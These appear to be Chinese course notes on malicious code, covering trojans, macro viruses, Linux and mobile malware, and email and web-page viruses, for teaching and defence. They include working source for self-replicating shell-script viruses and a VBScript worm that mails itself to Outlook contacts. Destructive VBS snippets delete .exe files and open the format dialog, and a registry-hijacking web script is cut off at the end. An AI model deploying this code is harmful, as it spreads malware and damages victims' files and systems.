对病毒一无所知者,亦能随意组合出算法不同、功能各异的病毒。甚至,“多态性发生器”可将普通病毒编译成很难处理的多态性病毒,是针对病毒的人工分析技术而产生的。两种类型:根据简单的操作,自动生成病毒(PE, 宏病毒等);用自动生成技术实现变种(Mutation Engine) 病毒自动生产技术(批量生产各种变形的病毒),不是从质,而是从量上,压垮病毒分析者。 第五章 特洛伊木马

木马的定义:

特洛伊木马是广义病毒的一个子类;是一种基于远程控制的黑客工具,是黑客的主要攻击手段之一;

相比这些合法的远程控制软件,木马有什么特殊性?木马与合法远程控制软件的主要区别在于是否具有隐蔽性、是否具有非授权性。

定义:特洛伊木马,简称木马,是一种恶意程序,是一种基于远程控制的黑客工具,一旦侵入用户的计算机,就悄悄地在宿主计算机上运行,在用户毫无察觉的情况下,让攻击者获得远程访问和控制系统的权限,进而在用户的计算机中修改文件、修改注册表、控制鼠标、监视/控制键盘,或窃取用户信息。现代网络攻击者利用木马,采用伪装、欺骗等手段进入被攻击的计算机系统中,窃取信息,实施远程监控。

木马与病毒:一般情况下,病毒是依据其能够进行自我复制即传染性的特点而定义的;特洛伊木马主要是根据它的有效载体,或者是其功能来定义的,更多情况下是根据其意图来定义的;木马一般不进行自我复制,但具有寄生性,如捆绑在合法程序中得到安装、启动木马的权限,DLL木马甚至采用动态嵌入技术寄生在合法程序的进程中;木马一般不具有普通病毒所具有的自我繁殖、主动感染传播等特性,但我们习惯上将其纳入广义病毒,也就是说,木马也是广义病毒的一个子类。

**特洛伊木马的结构:**木马系统软件一般由木马配置程序、控制程序和木马程序(服务器程序)三部分组成:

**木马程序:**也称作服务器程序,驻留在受害者的系统中,非法获取其操作权限,负责接收控制指令,并根据指令或配置发送数据给控制端。**木马配置程序:**设置木马程序的端口、触发条件等,使其在服务器端更隐蔽。控制程序:控制程序控制远程木马服务器,有些控制程序集成了木马的配置功能。有时配置程序和控制程序集成在一起,统称为控制端(客户端程序),负责配置服务器给服务器发指令,同时接受服务器传送来的数据,因此,一般的木马都是C/S结构。

image-20211216102300714

与传统C/S结构不同:木马程序端(被控制端)为服务器端,木马控制端为客户端。

**木马的最终意图:**窃取信息、实施远程监控。

木马的基本原理:

**配置木马:**配置内容:木马伪装;信息反馈。**传播木马:**传播方式。**运行木马:**木马自动安装,拷贝自身到系统文件夹中,然后在注册表、启动组、非启动组等位置设置木马的触发启动条件,然后启动。木马运行后,可以用netstat查看木马打开的端口。在脱机状态下一般是不会有端口开放的,如果有端口开放,就要注意是否感染了木马。**信息反馈:**收集服务器的信息告知控制端。建立连接:建立连接的两个条件:一是服务端已安装了木马,二是控制端服务端都在线。控制端要与服务端建立连接必须知道服务端的木马端口和IP地址,由于木马端口是事先设定的,为已知项,所以最重要的是如何获得服务端的IP地址获得服务端的IP地址的方法主要有两种:信息反馈和IP扫描。**远程控制:**已建立通道,控制端与服务端木马程序通信,控制服务端。**原理总结:**特洛伊木马包括客户端和服务器端两个部分,也就是说,木马其实是一个服务器-客户端程序;攻击者通常利用一种称为绑定程序(exe-binder)的工具将木马服务器绑定到某个合法软件上,诱使用户运行合法软件。只要用户运行该软件,特洛伊木马的服务器就在用户毫无察觉的情况下完成了安装过程;攻击者要利用客户端远程监视、控制服务器,必需先建立木马连接;而建立木马连接,必需先知道网络中哪一台计算机中了木马;获取到木马服务器的信息之后,即可建立木马服务器和客户端程序之间的联系通道,攻击者就可以利用客户端程序向服务器程序发送命令,达到操控用户计算机的目的。

木马的特性:

**隐蔽性:**是区分木马与合法远程控制软件的关键。**非授权性:**一旦控制端与服务端连接后,控制端享有服务端的大部分操作权限,这些权限并不是服务端赋予的,而是通过木马程序窃取的。**欺骗性:**攻击者利用工具软件将木马服务器绑定到某个合法软件上,诱使用户运行合法软件,只要用户运行该软件,木马服务器就在用户毫无察觉的情况下完成了安装过程。甚至有个别木马程序能将其自身与图片文件绑定,在用户浏览图片的时候,木马便侵入了用户的系统,如JPEG木马。利用JPEG图片的木马有两种,一是简单地将木马程序的图标设置为JPEG图标,并利用双后缀实施欺骗,如MM.jpeg.exe;另一种是利用JPEG图像漏洞,攻击者将木马代码插入到图片中,从而在打开该图片时间接运行木马。**自动运行性:**木马为了控制服务端,必须在系统启动时跟随启动,所以它必须在计算机的启动配置文件中写入启动自己的启动项。**自动恢复性:**具有多重备份,可以相互恢复。有些木马程序的功能模块已不再由单一的文件组成,而是将文件分别存储在不同的地方。这些分散的文件可以相互恢复,提高存活能力。**主动性:**自动打开某些端口。根据TCP/IP协议,每台PC机可以有256*256个端口,即从0到65535个门,常用的只有几个,所以木马可利用不常用的端口进行连接。**功能的特殊性:**文件操作、搜索口令,设置口令,扫描IP地址,键盘记录,远程注册表操作,锁定鼠标等,常规的远程控制软件不具备这些操作。

木马按传输方式分类:

主动型:木马客户端可以扫描到被攻击者(木马服务器),并主动连接到服务器端,实施对服务器端计算机的控制,如冰河木马。反弹端口型:防火墙对于连入的连接严格过滤,但对于连出的连接却疏于防范。于是与一般木马相反,这类木马的服务端使用主动端口,客户端使用被动端口,木马定时检测控制端的存在,发现控制端上线便立即主动连接。为了隐蔽,控制端的被动端口开在80,即使用户使用扫描软件检查自己的端口发现类似TCP USERIP:1026 ControllerIP:80ESTABLISHED的情况,稍微疏忽一点,用户就会以为是自己在浏览网页。嵌入式木马:不管是主动型木马还是反弹端口型木马,都是通过建立新的套接字端口的方式进行通信。只要是建立了新的套接字链接,就可以用fport或netstat查看链接,从而发现异常链接。尽管现在也有使用不建立链接的ICMP方式发送命令,但是这种方式仍然可以被检测软件拦截。如果利用已知的常用网络程序来转发木马,则检测软件就无效了。如嵌入式木马。如利用IE浏览器的连接端口80,或者使用常用的网络聊天工具QQ的端口来进行通信。更理想的方式是利用系统的可执行文件,例如windows系统socket通信必须调用的动态库wsock32.dll,一旦上网,即可激活。 但嵌入式木马有个致命缺陷:需依附于一个宿主程序,如果宿主程序关闭,则木马程序也就不能起作用了。因此,常寄宿于使用频率很高的程序或链接库。

为了逃避检测,高明的攻击者会研发不需要新建连接和端口的木马。如何隐藏木马的进程、连接和端口?此类木马又该如何防护?

反弹式木马技术、寄生型和潜伏型端口隐藏技术、不使用进程的木马技术、木马的秘密信道技术。

防范:使用定制的个人防火墙,其采用独特的“内墙”方式应用程序访问网络规则,可对付存在于计算机内部的各种不法程序对网络的应用。当计算机内部的应用程序访问网络时,必须经过防火墙内墙的审核。合法的应用程序被审核通过,而非法的应用程序将会被防火墙的“内墙”所拦截。

木马的远程监控技术:

远程监视技术:对服务端计算机的监视,包括对鼠标、键盘以及屏幕显示、甚至网络流量流向的监视,也包括对服务端计算机系统信息(如磁盘信息、操作系统信息、硬件信息)的搜集;远程控制技术:远程控制则是攻击者控制服务端计算机按照自己的意愿,运行某程序或关闭某服务,包括控制服务端计算机的鼠标、键盘、操作系统、文件系统,或者让其启动/停止某种服务程序,甚至关闭服务端计算机 远程监控功能是木马最主要的功能,也是木马的最终目的。

检测和清除木马的一般方法:

查看端口->断开网络连接->查找并停止木马进程、线程->清除木马启动项和木马文件(特洛伊木马入侵的一个明显证据是受害计算机上意外地打开了某个端口,用netstat检测木马,Windows XP的Netstat工具提供了一个新的-o选项,能够显示出正在使用端口的程序或服务的进程标识符(PID)。有了PID,用任务管理器就可以方便地根据PID找到对应的程序,以便终止之)

广外女生案例:

简介:该木马把启动项设在HKLM\ SOFTWARE \Classes\exefile\shell\open\command\下,这个注册表项的作用是定义运行可执行文件的格式木马将HKLM\ SOFTWARE \Classes\exefile\shell\open\command\下的键值由原来的“"%1" %*”修改为“C:\WINDOWS\System32\DIAGCFG.EXE “%1” %*”,包含了木马程序DIAGCFG.EXE,此后每次再运行任何可执行文件时都要先运行DIAGCFG.EXE,即启动木马。

木马端口:Fport可用来列出系统中所有打开的TCP/IP和UDP端口,以及它们对应应用程序的完整路径、PID标识、进程名称等信息的软件。在命令行中运行fport.exe,可以看到:

image-20211216105826684

清除木马 –由于“广外女生”木马自启动项的特殊性,如果先删除C:\WINDOWS\System32\目录下的DIAGCFG.EXE,将无法在系统中运行任何可执行文件。因此,清除该木马应按如下步骤,不能颠倒:

按“开始”菜单,选择“运行”,输入regedit,按确定,打开下面键值:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\,但是不要修改,因为如果这时就修改注册表,DIAGCFG.EXE进程仍然会立刻把它改回来

打开“任务管理器”,找到DIAGCFG.EXE这个进程,选中它,按“结束进程”来关掉这个进程。注意,一定也不要先关进程再打开注册表管理器,否则执行regedit.exe时又会启动DIAGCFG.EXE

把HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\

的键值由原来的“C:\WINDOWS\System32\DIAGCFG.EXE “%1”%*”改为“"%1"%*”。这样,即使不删除DIAGCFG.EXE文件,只要用户不再双击运行之,木马就会因无激活机会而不能继续实施破坏

删除C:\WINDOWS\System32\目录下的DIAGCFG.EXE,如果要深入分析这个木马,可以在该步中不删除它,而是把它拷贝到其他的目录以便研究。

第六章 宏病毒

为什么宏病毒的传播如此快捷、感染面如此之大?

宏病毒依靠文档传播,而计算机文档是交流最广的文件类型。人们往往重视保护计算机的引导区和可执行文件不被病毒感染,对于外来的文档,没有戒心,基本是直接浏览使用;2)宏病毒打破了以往病毒在单一平台传播的局限。

定义:

所谓宏,就是一些命令组织在一起,作为一个单独单元完成一个特定任务。(目的是使日常工作变得更容易。)宏病毒与普通病毒不同,它不感染可执行文件,也不需要通过引导区传播,而只感染文档文件。具体定义:宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过文档及模板进行自我复制及传播。

支持宏病毒的应用系统特点:

可以把特定的宏命令代码附加在指定文件上;可以实现宏命令在不同文件之间的共享和传递;可以在未经使用者许可的情况下获取某种控制权。

宏病毒都是内存驻留病毒?

正确。病毒随着宿主程序(word和excel)而被加载并且一直存在于系统中,所以从某种意义上,宏病毒都是内存驻留病毒。

宏病毒的特点:

传播极快。word文档是交流最广的文件类型,人们大多重视防范可执行文件病毒,然而对于文档基本是直接浏览使用。制作、变种方便。word的开放性所致,使用宏语言WordBasic编写;开放的不仅是word的宏,已有的word的宏病毒也是开放的,易于被攻击者修改为其他变种。破坏可能性极大。可破坏word运行,或对系统造成破坏:宏病毒用VBA或Wordbasic编写,这两种语言提供了许多系统级底层调用。如调用API,DLL等。这些操作可对系统直接构成威胁。而Word在指令安全性、完整性上检测能力弱。多平台交叉感染。Word、excel等可广泛运行于不同平台。地域性问题。仅感染特定语言版本的word。

宏病毒感染过程:

image-20211216111101314

宏病毒的工作机理:

image-20211216111150704

可以通过哪些现象发现宏病毒?

在Normal模板发现有AutoOpen等自动宏,FileSave等标准宏或一些怪名字的宏,而自己又没有加载特殊模板,这就有可能有病毒了;当打开一个文档时,未经任何改动,立即就有存盘操作;打开以DOC为后缀的文件在另存菜单中只能以模板方式存盘;无法使用“另存为(Save As)”修改路径;不能再被转存为其它格式的文件;染毒文件具备与模板文档相一致的内部格式(尽管文件扩展名未改变)。 第七章 Linux病毒

【辨析】

Linux是一片没有被病毒感染过的乐土,向来给人“安全操作系统”的印象。

1997.02,第一个Linux环境下产生的病毒“上天的赐福”出现,宣告了Linux没有病毒时代的终结。

由于类Linux系统具有内存保护机制,所以人们不太相信类Linux系统上病毒的危害性会超过Windows和DOS系统,

但他们错了,现在的病毒都用标准C来编写以适应任何类Linux操作系统,可以用make程序来跨平台编译,并且拥有标准的ELF二进制格式和库文件,因此Linux系统的病毒也不安全。

很多高性能的安全操作系统可以预防计算机病毒。

这是一个误区。在DOS时期,并不存在任何内存和数据保护机制,当时的病毒可以完全控制计算机的所有资源。对于DOS和简单的Windows系统,病毒可以完全控制用户。相对来说,Windows NT和Linux系统具备高级的保护机制,可预防大多数病毒,但不是所有。当某用户以root和Administrator身份操作时,这些系统保护机制实际上是没有用的。巧妙的病毒可以找到系统中的每个文件。

Linux系统尤其可以防止病毒的感染,因为Linux的程序都来自于源代码,不是二进制格式。

然而,毕竟只有极少数的人(甚至管理员)才有足够的能力来从源代码中发现病毒代码,而这是个耗时耗力的工作。一般用户习惯于用二进制格式的文件来交流,他们喜欢很简单地运行程序。上述原因使得Linux病毒有足够的空间来访问和控制系统。

存在这样一个误区,就是认为Linux系统是绝对安全的,因为它具有很多不同的平台,而且每个版本的Linux系统有很大的不一样。

正确。这确实是个误区。现在的病毒都用标准C编写以适应任何类Linux系统,它们可以用make程序来跨平台编译,并且拥有标准的ELF二进制格式和库文件。

【知识】

Linux病毒分类:

Shell脚本病毒:病毒第一个问题就是传播,为了使各平台兼容,首先想到的是shell脚本语言。Shell脚本病毒简单,危害性不大,且容易被发现因为是以明文方式编写并执行的。通常一个用户会执行任何脚本,而不会过问脚本的由来,这就成为了病毒的目标。应加强对病毒的防范意识。

【判断】Linux的Shell脚本病毒是以明文方式编写并执行的容易被发现。Shell在不同的Linux系统上的差别很小。(都对)

蠕虫病毒:利用已知的攻击程序,针对某漏洞去获得目标机的管理员权限。但是蠕虫的时效性也是很短暂的,若该病毒所利用的漏洞被修补,则该蠕虫也就失去作用了。此外,蠕虫的跨平台能力差,因为是针对特定版本的程序。

欺骗库函数:把标准的库函数替换成你自己的程序。愚弄专业知识不强的用户。

内核级的传播:这类病毒可以传染内核映像,这样就可以控制系统的方方面面,但尚处于理论阶段,没有真正实现。

与平台兼容的病毒:跨各个不同版本的Linux。用标准C来书写病毒代码,利用ELF格式的二进制文件来做病毒。

【代码】

#shellvirus I# for file in ./infect/* do cp $0 $file done 功能:遍历当前目录中子目录infect中的所有文件,然后覆盖它们。 如果认为威力不够,可以用“for file in *”。 Linux是多用户操作系统,其文件具有保护模式,上述脚本会报错,从而被发现。因此,作如下改进,增加隐蔽性。 #shellvirus II# for file in ./infect/* do if test -f $file #判断是否为文件 then if test -x $file #判断是否可执行 then if test -w $file #判断是否有写权限 then if grep –s sh $file > .mmm #判断是否为shell脚本文件 then cp $0 $file #覆盖当前文件(破坏该系统中所有脚本程序,危害较大) fi fi fi fi done rm .mmm -f #shellvirus III# #infection head -n 35 $0 > .test1 #取病毒自身代码并保存到.test for file in ./* #遍历当前目录中的文件 do echo $file head -n 1 $file > .mm #提取要感染的脚本文件的第一行 if grep infection .mm > .mmm #判断是否有感染标记infection then #已经被感染,则跳过 echo "infected file and rm .mm" rm -f .mm else #尚未感染,继续执行 if test -f $file then echo "test -f" if test -x $file then echo "test -x" if test -w $file then echo "test -w" if grep -s sh $file > .mmm then echo "test -s and cat..." cat $file > .SAVEE #把病毒代码放在脚本文件的开始部分 cat .test1 > $file #原有代码追加在末尾 cat .SAVEE >> $file #形成含有病毒代码的脚本文件 fi fi fi fi fi done rm .test1 .SAVEE .mmm .mm –f #清理工作 #ShellVirus IV# #infection for file in ./* ; do #分号(;)表示命令分隔符 if test -f $file && test -x $file && test -w $file ; then if grep -s sh $file > /dev/nul ; then head -n 1 $file > .mm if grep -s infection .mm > /dev/nul ; then rm -f .mm ; else head -n 14 $0 > .SAVEE cat $file >> .SAVEE cat .SAVEE > $file fi fi fi done rm -f .SAVEE .mm 精简了代码,增加了阅读困难。 #ShellVirus V# #infection xtemp=$pwd #保存当前路径 head -n 22 $0 > /.test1 for dir in ./* ; do #遍历当前目录 if test -d $dir ; then #如果有子目录则进入 cd $dir for file in ./* ; do #遍历该目录文件 if test -f $file && test -x $file && test -w $file ; then if grep -s sh $file > /dev/nul ; then head -n 1 $file > .mm if grep -s infection .mm > /dev/nul ; then rm -f .mm ; else cat $file > /.SAVEE #完成感染 cat /.test1 > $file cat /.SAVEE >> $file fi fi fi done cd .. fi done cd $xtemp rm -f /.test1 /.SAVEE .mm #清理工作 仅感染了当前目录的下一层目录。可以增加几个循环,感染更深层次的目录,也可定位到根目录。

脚本病毒实现技术简单,但很实用,比如:下载后门程序到本机,自动开后门;主动攻击英特网中的其他计算机;获取用户的电子邮件来发送染毒程序等。

【知识】

ELF格式文件病毒感染原理

**无关ELF格式的感染方法:**即简单感染,它没有涉及任何可执行文件的内容,直接使用可独立执行的病毒代码。多种情况下这种病毒会破坏原宿主文件最终造成原宿主文件得不到执行,这种方法很容易被发现,与病毒的隐蔽性相悖。这种破坏式传染的病毒在感染一个文件后就很难继续传播,因为一方面它易于被发现移除,另一方面造成大量文件被破坏从而导致系统损害,得不偿失。

①覆盖式感染:有些病毒会覆盖宿主程序的某一部分,将自身嵌入其中,以达到不改变染毒文件长度的目的。此类病毒感染的宿主程序无法复原。(无法安全消除)病毒体直接拷贝到宿主文件中,从开始部分覆盖宿主文件,从而宿主文件被感染成单纯的病毒体,一般情况下宿主文件会遭到破坏,若要使得在病毒执行后仍然交换控制权给宿主文件,则需要给宿主文件备份,将原宿主文件复制到一个隐藏文件,然后在病毒体执行完之后执行宿主文件,使得进程映像中添加的是原宿主文件的内容。

②追加式感染 :将病毒体直接追加到宿主文件中,或者将宿主追加到病毒体之后,并不存在覆盖宿主文件的行为,从而宿主文件被感染成单纯的病毒体和原宿主文件的合体,在病毒文件执行后交换控制权给宿主文件。

【覆盖式破坏宿主文件,追加式不破坏】

利用ELF格式的感染方法:与ELF格式相关的感染方法,需要根据ELF格式来改变ELF格式内容,从而使病毒代码和宿主代码共存并且病毒代码执行结束后能顺利交接控制权给宿主。向ELF文件中插入寄生病毒代码要求宿主文件和病毒体都是完整的,因此插入的病毒代码会造成段的使用大小增加。

①利用文本段之后填充②数据段之后插入感染③文本段之前插入感染④利用函数对齐填充区感染⑤利用NOTE段或者扩展.note节

【判断】尺寸越大的病毒能够感染的可执行文件越少。正确!

高级感染技术:前述两种感染技术最多只能感染一些应用程序,因此只是停留在感染用户层次上的可执行文件。另一种用户层次上的高级感染方式是通过截获PLT或者GOT表来实现。若要上升到内核层次的病毒感染就是高级感染,这就需要感染内核的模块。对Linux最致命的病毒攻击方式就是感染Linux内核,也就是使用Linux的LKM。

①LKM感染技术(唯一内核级!!!),在Linux操作系统中被广泛使用,主要的原因就是LKM具有相对灵活的使用方式和强大的功能,可以被动态地加载,而不需要重新编译内核。同样,在另一个方面,对于病毒而言,也有很多好处,比如隐藏文件和进程等,但是使用LKM是比较麻烦的,需要较高的技术要求。LKM内核模块也属于ELF目标文件,但是区别于一般的应用程序,属于系统级,用来扩展Linux内核功能。LKM可以很容易地动态加载到内核中去而不需要重新编译内核。通常LKM是用来加载一些设备驱动,可以捕获系统调用,功能强大。

②PLT/GOT劫持实现

第八章 移动终端恶意代码

为什么智能化功能在给用户带来便利的同时,也带来了潜在的安全问题:

移动终端用户安全意识薄弱;受限于硬件资源和网络流量,移动终端杀毒能力弱。

移动终端:

涵盖所有的各式各样、各种功能的手机和PDA(Personal Digital Assistant, 个人数字助理)。随着无线移动通信技术和应用的发展,使现有的手持设备功能变得丰富多彩,它可以照、摄像,可以是一个小型移动电视机、也可以是可视电话机,并可具有PC大部分功能,当然它也可以用作移动电子商务,可作认证,将来还可作持有者身份证明(身份证、护照),它也是个人移动娱乐终端。总之,移动终端可以在移动中完成语音、数据、图像等各种信息的交换和再现。PDA定义:又称为掌上电脑,可以帮助我们完成在移动中工作,学习,娱乐等。按使用来分类,分为工业级PDA和消费品PDA。工业级PDA主要应用在工业领域,常见的有条码扫描器、RFID读写器、POS机等都可以称作PDA;消费品PDA包括的比较多,智能手机、平板电脑、手持的游戏机等。

手机病毒:

手机病毒的通俗定义是:“手机病毒和计算机病毒一样,以手机为感染对象,以手机网络和计算机网络为平台,通过病毒短信等形式,对手机进行攻击,从而造成手机异常的一种新型病毒。”

移动终端恶意代码:

移动终端恶意代码是对移动终端各种病毒的广义称呼,它包括以移动终端为感染对象而设计的普通病毒、木马等。移动终端恶意代码以移动终端为感染对象,以移动终端网络和计算机网络为平台,通过无线或有线通讯等方式,对移动终端进行攻击,从而造成移动终端异常的各种不良程序代码。

移动终端操作系统:

手机操作系统:Symbian,Windows Mobile,Linux,Android,IOSPDA操作系统:Palm,Win CE,Pocket PC,LINUX,EPOC,POCKET PC 2002

移动终端操作系统弱点:

移动终端操作系统具有很多和普通计算机操作系统相似的弱点。不过,其最大的弱点还在于移动终端比现有的台式机更缺乏安全措施;移动终端操作系统的设计人员从一开始就没有太多的空间来考虑操作系统的安全问题,而且,移动终端操作系统也没有像PC操作系统那样经过严格的测试;甚至在国际通用的信息安全评估准则(ISO 15408)中,都没有涉及到移动终端操作系统的安全。移动终端操作系统的弱点主要体现在以下几个方面: a)移动终端操作系统不支持任意的访问控制(DAC, Discretionary Access Control),也就是说,它不能够区分一个用户同另一个用户的个人私密数据;b)移动终端操作系统不具备审计能力;c)移动终端操作系统缺少通过使用身份标示符或者身份认证进行重用控制的能力;d)移动终端操作系统不对数据完整性进行保护;e)即使部分系统有密码保护,恶意用户仍然可以使用调试模式轻易的得到用户密码,或者使用类似PalmCrypt这样的简单工具得到密码;f)在密码锁定的情况下,移动终端操作系统仍然允许安装新的应用程序。

移动终端恶意代码传播途径:

**终端-终端:**手机直接感染手机,其中间桥梁是诸如蓝牙、红外等无线连接。通过该途经传播的最著名的病毒实例就是国际病毒编写小组“29A”发布Cabir病毒。Cabir病毒通过手机的蓝牙设备传播,使染毒的蓝牙手机通过无线方式搜索并传染其它蓝牙手机。 **终端-网关-终端:**手机通过发送含毒程序或数据给网关(例如,WAP服务器、短信平台等),网关染毒后再把病毒传染给其他终端或则干扰其他终端。典型的例子是VBS.Timofonica病毒,它的破坏方式是感染短信平台后,通过短信平台向用户发送垃圾信息或广告。 **PC(计算机)-终端:**病毒先寄宿在普通计算机上,当移动终端连接染毒计算机时,病毒传染给移动终端。

移动终端恶意代码攻击方式:

一是短信息攻击:主要是以“病毒短信”的方式发起攻击。 二是直接攻击手机:直接攻击相邻手机,Cabir病毒就是这种病毒。 三是攻击网关:控制WAP或短信平台,并通过网关向手机发送垃圾信息,干扰手机用户,甚至导致网络运行瘫痪。 四是攻击漏洞:攻击字符格式漏洞,攻击智能手机操作系统漏洞,攻击应用程序运行环境漏洞,攻击应用程序漏洞。 五是木马型恶意代码:利用用户的疏忽,以合法身份侵入移动终端,并伺机窃取资料的病毒。例如,Skulls病毒是典型木马病毒。

恶意代码生存环境:

**系统相对封闭:**移动终端操作系统是专用操作系统,不对普通用户开放(不像计算机操作系统,容易学习、调试和程序编写),而且它所使用的芯片等硬件也都是专用的,平时很难接触到;**创作空间狭窄:**移动终端设备中可以“写”的地方太少。例如,在初期的手机设备中,用户是不可以向手机里面写数据的,唯一可以保存数据的只有SIM卡。这么一点容量要想保存一个可以执行的程序非常困难,况且保存的数据还要绕过SIM卡的格式;**数据格式单调:**以初期的手机设备为例,这些设备接收的数据基本上都是文本格式数据。文本格式是计算机系统中最难附带病毒的文件格式。同理,在移动终端中,病毒也很难附加在文本内容上进行传播。

移动终端恶意代码产生契机:

类JAVA程序的应用 类JAVA程序大量运用于移动终端设备,使得编写用于移动终端上的程序越来越容易,一个普通的Java程序员甚至都可以编写出能传播的恶意代码程序。操作系统相对稳定 基于Symbian、Pocket PC、Win CE和SmartPhone的操作系统的终端设备不断扩大,同时设备使用的芯片(如Intel的Strong ARM)等硬件也不断固定下来,使它们有了比较标准的操作系统。并且,这些操作系统厂商甚至芯片都对用户开放API,并且鼓励在其上做开发工作,这样在方便用户的同时,也方便了病毒编写者,破坏者只需查阅芯片厂商或者操作系统厂商提供的手册就可以编写出运行于移动终端上的恶意代码病毒。容量不断扩大 移动终端设备的容量不断扩大,既增加了其功能,同时也使得病毒有了藏身之地。例如,新型的智能手机都有比较大的容量,甚至能外接CF卡。数据格式多媒体化 移动终端直接应用、传输的内容也复杂了很多,从以前只有文本发展到现在支持二进制格式文件,因此病毒就可以附加在这些文件中进行传播。

移动终端恶意代码的防范:

**注意来电信息:**当对方的电话打过来时,正常情况下,屏幕上显示的应该是来电电话号码。如果用户发现显示别的字样或奇异的符号,接电话者应不回答或立即把电话关闭。**谨慎网络下载:**病毒要想侵入终端设备,捆绑到下载程序上是一个重要途径。因此,当用户经手机上网时,尽量不要下载信息和资料,如果需要下载手机铃声或图片,应该到正规网站下载,即使出现问题也可以找到源头。**不接收怪异短信:**短信息(彩信)中可能存在的病毒,短信息的收发越来越成为移动通信的一个重要方式,然而短信息也是感染手机病毒的一个重要途径。当用户接到怪异的短信时应当立即删除。**关闭无线连接:**采用蓝牙技术和红外技术的手机与外界(包括手机之间,手机与电脑之间)传输数据的方式更加便捷和频繁,但对自己不了解得信息来源,应该关掉蓝牙或红外线等无线设备。如果发现自己的蓝牙或红外手机出现了病毒,应及时向厂商或软件公司询问并安装补丁。**关注安全信息:**关注主流信息安全厂商提供的资讯信息,及时了解手持设备的发展现状和发作现象,做到防患于未然。 第九章 新型计算机病毒

邮件病毒分类:

附件方式:病毒的主要部分就隐藏在附件中。“主页(HomePage)”病毒,它们的附件是VBS文件,也就是病毒关键部分。邮件本身:病毒并不置身于附件,而是藏身于邮件体之中。“欢乐时光(HappyTime)”病毒就是藏身于邮件体中,一旦用户将鼠标移至带毒邮件上,还未阅读邮件就已经中毒了。嵌入方式:病毒仅仅把电子邮件作为其传播手段。“美丽莎(Melissa)”是一种隐蔽性、传播性极大的Word 97/2K宏病毒。尽管其核心内容是宏病毒,但在病毒体内有一块代码专门用来传播。当条件符合时,打开用户的电子邮件地址,向前50个地址发送被感染的邮件。

代码:

•Outlook传播的病毒基本上都是由VBScript编写的。 •VBScript(*Q) –Set fso=CreateObject("Scripting.FileSystemObject") –fso.GetFile(WScript.ScriptFullName).Copy("C:\temp.vbs") # 当前运行脚本的文件路径 •这么两行代码就可以将自身复制到c盘根目录下temp.vbs这个文件。 Set ola=CreateObject("Outlook.Application") On Error Resume Next # 如果有错误则继续运行 For x=1 To 50 Set Mail=ola.CreateItem(0) # 创建电子邮件 Mail.to=ola.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) # 支持的唯一数据来源为"MAPI" Mail.Subject="Betreff der E-Mail" Mail.Body="Text der E-Mail" Mail.Attachments.Add("C:\temp.vbs") Mail.Send Next ola.Quit Q1:发送给通讯录全部联系人? 前50人 Q2:病毒在邮件主体还是附件? 附件 //修改注册表,使得每次系统启动时自动执行脚本: (*) regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" //‘MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本 •打开磁盘格式化窗口 –Set obj = Wscript.CreateObject(“Wscript.Shell”) –Obj.Run “rundll32.exe shell32.dll, SHFormatDrive” •关闭Windows –Set obj = Wscript.CreateObject(“Wscript.Application”) –Obj.ShutdownWindows •删除当前目录中所有的.exe文件 –Set obj = Wscript.CreateObject(“Wscript.Shell”) –Obj.Run(“Command.com /C DEL *.EXE, 0, False”) •写注册表(写入字符串“TestValue”) –Set obj = Wscript.CreateObject(“Wscript.Shell”) –Obj.RegWrite “HKey_Local_Machine\Software\Microsoft”, “TestValue” •//code begin •Set objOA = Wscript.CreateObject("Outlook.Application") •Set objMapi = objOA.GetNameSpace("MAPI") •For i = 1 to objMapi.AddressLists.Count •Set objAddList = objMapi.AddressLists(i) •For j =1 To objAddList.AddressEntries.Count •Set objMail = objOA.CreateItem(0) •ObjMail.Recipients.Add(objAddList.AddressEntries(j)) # 添加所有入口到收件人 •ObjMail.Subject = "你好!" •ObjMail.Body = "这次给你的附件时我实验题!如果收到附件轻不要下载,不要打开。" •ObjMail.Attachments.Add("c:\test.vbs") •ObjMail.Sent •Next •Next •Set objMapi = Nothing •Set objOA = Nothing •//code end

黑客把攻击后成功地逃匿入侵检测系统看作是一门艺术,有哪些方式?

通过动态地改变攻击代码,逃避IDS的特征检测;在一些常用的通信协议端口上建立隐蔽通道;通过系统内核级后门控制一个系统。

WebPage代码:

•document.write(""); •//该函数是现在收藏夹里增加一个站点 function AddFavLnk(loc, DispName, SiteURL) { var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); Shor.TargetPath = SiteURL; Shor.Save(); } •//该函数是病毒的主函数,实现COOKIES检查、注册表修改等 function f(){ try { //声明一个ActiveX对象 ActiveX initialization # 初始化ActiveX, 为修改注册表做准备 a1=document.applets[0]; # 获取applets对象 a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //创建几个实例,指向注册表中有关IE的选项 a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { if (documents .cookies.indexOf("Chg") == -1) 没有改变 { //设置IE起始页 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.on888.home.chinaren.com/"); //设置COOKIES var expdate = new Date((new Date()).getTime() + (1)); # 当前时间+1ms的时间戳 documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" # 把时间转化为字符串 //消除RUN按钮 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); //消除关闭按钮 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY"); //消除注销按钮 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"); //隐藏盘符 Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "63000000", 